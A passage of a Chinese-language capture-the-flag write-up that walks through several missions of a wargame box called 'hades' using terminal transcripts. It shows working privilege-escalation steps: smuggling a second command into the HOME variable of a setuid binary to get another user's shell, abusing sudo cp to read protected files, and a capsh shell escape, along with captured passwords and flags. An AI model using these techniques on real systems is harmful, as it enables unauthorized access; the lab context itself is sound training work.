*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*
.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.swp=00;90:*.tmp=00;90:*.dpkg-dist=00;90:*.dpkg-old=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:
SSH_CONNECTION=127.0.0.1 45418 127.0.0.1 22
TERM=xterm-256color
USER=anthea
SHLVL=1
SSH_CLIENT=127.0.0.1 45418 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/4
_=/usr/bin/env
anthea@hades:~$ export MYID=94
anthea@hades:~$ ./obsessed
Current MYID: 57
Incorrect MYID
anthea@hades:~$ export MYID=57
anthea@hades:~$ ./obsessed
Current MYID: 53
Incorrect MYID
anthea@hades:~$ export MYID=$(./obsessed)
anthea@hades:~$ ./obsessed
Current MYID: 67
Incorrect MYID
anthea@hades:~$ whoami;id
anthea
uid=2047(anthea) gid=2047(anthea) groups=2047(anthea)
anthea@hades:~$ export MYID=94
anthea@hades:~$ ./obsessed
Current MYID: 57
Incorrect MYID
anthea@hades:~$ export MYID=57
anthea@hades:~$ ./obsessed
Current MYID: 53
Incorrect MYID
anthea@hades:~$ export MYID=53
anthea@hades:~$ ./obsessed
Current MYID: 53
Incorrect MYID后面看群主视频发现这和ascii码有关，嘶。。。。
hgbe02@pwn:~/temp$ ascii
Usage: ascii [-adxohv] [-t] [char-alias...]
-t = one-line output -a = vertical format
-d = Decimal table -o = octal table -x = hex table -b binary table
-h = This help screen -v = version information
Prints all aliases of an ASCII character. Args may be chars, C \-escapes,
English names, ^-escapes, ASCII mnemonics, or numerics in decimal/octal/hex.
Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex Dec Hex
0 00 NUL 16 10 DLE 32 20 48 30 0 64 40 @ 80 50 P 96 60 ` 112 70 p
1 01 SOH 17 11 DC1 33 21 ! 49 31 1 65 41 A 81 51 Q 97 61 a 113 71 q
2 02 STX 18 12 DC2 34 22 " 50 32 2 66 42 B 82 52 R 98 62 b 114 72 r
3 03 ETX 19 13 DC3 35 23 # 51 33 3 67 43 C 83 53 S 99 63 c 115 73 s
4 04 EOT 20 14 DC4 36 24 $ 52 34 4 68 44 D 84 54 T 100 64 d 116 74 t
5 05 ENQ 21 15 NAK 37 25 % 53 35 5 69 45 E 85 55 U 101 65 e 117 75 u
6 06 ACK 22 16 SYN 38 26 & 54 36 6 70 46 F 86 56 V 102 66 f 118 76 v
7 07 BEL 23 17 ETB 39 27 ' 55 37 7 71 47 G 87 57 W 103 67 g 119 77 w
8 08 BS 24 18 CAN 40 28 ( 56 38 8 72 48 H 88 58 X 104 68 h 120 78 x
9 09 HT 25 19 EM 41 29 ) 57 39 9 73 49 I 89 59 Y 105 69 i 121 79 y
10 0A LF 26 1A SUB 42 2A * 58 3A : 74 4A J 90 5A Z 106 6A j 122 7A z
11 0B VT 27 1B ESC 43 2B + 59 3B ; 75 4B K 91 5B [ 107 6B k 123 7B {
12 0C FF 28 1C FS 44 2C , 60 3C < 76 4C L 92 5C \ 108 6C l 124 7C |
13 0D CR 29 1D GS 45 2D - 61 3D = 77 4D M 93 5D ] 109 6D m 125 7D }
14 0E SO 30 1E RS 46 2E . 62 3E > 78 4E N 94 5E ^ 110 6E n 126 7E ~
15 0F SI 31 1F US 47 2F / 63 3F ? 79 4F O 95 5F _ 111 6F o 127 7F DEL所以发现了吗？
53 ==> 5 ==> 57
57 ==> 9 ==> 94
它只读了第一位，这样我们就可以进行验证一下：
anthea@hades:~$ export MYID=1;./obsessed
Current MYID: 49
Incorrect MYID
anthea@hades:~$ export MYID=2;./obsessed
Current MYID: 50
Incorrect MYID
anthea@hades:~$ export MYID=11;./obsessed
Current MYID: 49
Incorrect MYID
anthea@hades:~$ export MYID=22;./obsessed
Current MYID: 50
Incorrect MYID所以我们找到对应94的ascii即可；
anthea@hades:~$ export MYID=^;./obsessed
Current MYID: 94
aphrodite@hades:~$ cat aphrodite_pass.txt
HPJVaqRzieKQeyyATsFv7 aphrodite
aphrodite@hades:~$ ls -la
total 52
drwxr-x--- 2 root aphrodite 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 aphrodite aphrodite 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 aphrodite aphrodite 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 aphrodite aphrodite 807 Apr 23 2023 .profile
-r--r----- 1 ariadne ariadne 21 Apr 5 06:36 ariadne_pass.txt
-rw-r----- 1 root aphrodite 22 Apr 5 06:36 flagz.txt
-rwS--s--- 1 root aphrodite 16216 Apr 5 06:36 homecontent
-rw-r----- 1 root aphrodite 185 Apr 5 06:36 mission.txt
aphrodite@hades:~$ grep -ra '\^*\^' .
grep: ./ariadne_pass.txt: Permission denied
./flagz.txt:^fmPlsDByrwmEpRAKgeP^
grep: ./homecontent: Permission denied
aphrodite@hades:~$ cat mission.txt
################
# MISSION 0x07 #
################
## EN ##
The user ariadne knows what we keep in our HOME.
## ES ##
La usuaria ariadne sabe que es lo que guardamos en nuestro HOME.
aphrodite@hades:~$ ./homecontent
The content of your HOME is:
ariadne_pass.txt flagz.txt homecontent mission.txt
aphrodite@hades:~$ echo $HOME
/pwned/aphrodite
aphrodite@hades:~$ HOME='/;whoami';./homecontent
The content of your HOME is:
bin boot dev etc home lib lib64 media mnt opt pazz proc pwned root run sbin srv sys tmp usr var www
ariadne
aphrodite@hades:/pwned/aphrodite$ HOME='/pwned/aphrodite;/bin/bash';./homecontent
The content of your HOME is:
ariadne_pass.txt flagz.txt homecontent mission.txt
ariadne@hades:/pwned/aphrodite$ whoami;id;cat ariadne_pass.txt
ariadne
uid=2049(ariadne) gid=2048(aphrodite) groups=2048(aphrodite)
iNgNazuJrmhJKWixktzk8 ariadne
ariadne@hades:~$ ls -la
total 32
drwxr-x--- 2 root ariadne 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 ariadne ariadne 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 ariadne ariadne 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 ariadne ariadne 807 Apr 23 2023 .profile
-rw-r----- 1 root ariadne 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root ariadne 165 Apr 5 06:36 mission.txt
ariadne@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^FuGFaFNhtKNxUInxAtd^
ariadne@hades:~$ cat mission.txt
################
# MISSION 0x08 #
################
## EN ##
The user arete lets us use cp on her behalf.
## ES ##
La usuaria arete nos deja usar cp en su nombre.
ariadne@hades:~$ whereis cp
cp: /usr/bin/cp /usr/share/man/man1/cp.1.gz
ariadne@hades:~$ ls -la /usr/bin/cp
-rwxr-xr-x 1 root root 151152 Sep 20 2022 /usr/bin/cp
ariadne@hades:~$ sudo -l
Matching Defaults entries for ariadne on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ariadne may run the following commands on hades:
(arete) NOPASSWD: /bin/cp
ariadne@hades:~$ sudo -u arete /bin/cp /pwned/arete/arete_pass.txt /dev/stdout 2>/dev/null
/bin/cp: cannot stat '/pwned/arete/arete_pass.txt': No such file or directory
ariadne@hades:~$ sudo -u arete /bin/cp /pwned/arete/flagz.txt /dev/stdout 2>/dev/null
^qmrrbGUXLTqLFDyCDlx^然后提交flag获取密码：08: arete/QjrIovHacmGWxVjXRLmA
9 arete
arete@hades:~$ ls -la
total 32
drwxr-x--- 2 root arete 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 arete arete 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 arete arete 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 arete arete 807 Apr 23 2023 .profile
-rw-r----- 1 root arete 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root arete 227 Apr 5 06:36 mission.txt
arete@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^qmrrbGUXLTqLFDyCDlx^
arete@hades:~$ cat mission.txt
################
# MISSION 0x09 #
################
## EN ##
The user artemis allows us to use some binary on her behalf. Its a gift...
## ES ##
La usuaria artemis nos permite usar algun binario en su nombre. Es un regalo...
arete@hades:~$ sudo -l
Matching Defaults entries for arete on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User arete may run the following commands on hades:
(artemis) NOPASSWD: /sbin/capsh参考 https://gtfobins.github.io/gtfobins/capsh/#shell
It can be used to break out from restricted environments by spawning an interactive system shell.
capsh --
arete@hades:~$ sudo -u artemis /sbin/capsh --
artemis@hades:/pwned/arete$ whoami;id
artemis
uid=2051(artemis) gid=2051(artemis) groups=2051(artemis)
artemis@hades:/pwned/arete$ cd ~
artemis@hades:~$ ls -la
total 48
drwxr-x--- 2 root artemis 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 artemis artemis 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 artemis artemis 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 artemis artemis 807 Apr 23 2023 .profile
-rw-r----- 1 root artemis 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root artemis 202 Apr 5 06:36 mission.txt
-rw---x--- 1 root artemis 16056 Apr 5 06:36 restricted10 artemis
artemis@hades:~$ ls -la
total 48
drwxr-x--- 2 root artemis 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 artemis artemis 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 artemis artemis 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 artemis artemis 807 Apr 23 2023 .profile
-rw-r----- 1 root artemis 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root artemis 202 Apr 5 06:36 mission.txt
-rw---x--- 1 root artemis 16056 Apr 5 06:36 restricted
artemis@hades:~$ grep -ra '\^*\^' .
grep: ./restricted: Permission denied
./flagz.txt:^SegGdzPgnNdGAmKjnsa^
artemis@hades:~$ cat mission.txt
################
# MISSION 0x10 #
################
## EN ##
We need /bin/bash so that the user asia gives us her password.
## ES ##
Necesitamos /bin/bash para que la usuaria asia nos de su password.
artemis@hades:~$ ./restricted
Your SHELL is: /bin/rbash
djqWtkLisbQlrGtLYHCv嘶，啥情况，难道是没有ssh连接的原因？试试：
09: artemis/HIiaojeORLaJBVSPDDCZ
artemis@hades:~$ ls -la
total 48
drwxr-x--- 2 root artemis 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 artemis artemis 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 artemis artemis 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 artemis artemis 807 Apr 23 2023 .profile
-rw-r----- 1 root artemis 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root artemis 202 Apr 5 06:36 mission.txt
-rw---x--- 1 root artemis 16056 Apr 5 06:36 restricted
artemis@hades:~$ ./restricted
-rbash: ./restricted: restricted: cannot specify `/' in command names
artemis@hades:~$ bash
artemis@hades:~$ ./restricted
Your SHELL is: /bin/rbash
djqWtkLisbQlrGtLYHCv啊这。。。。。
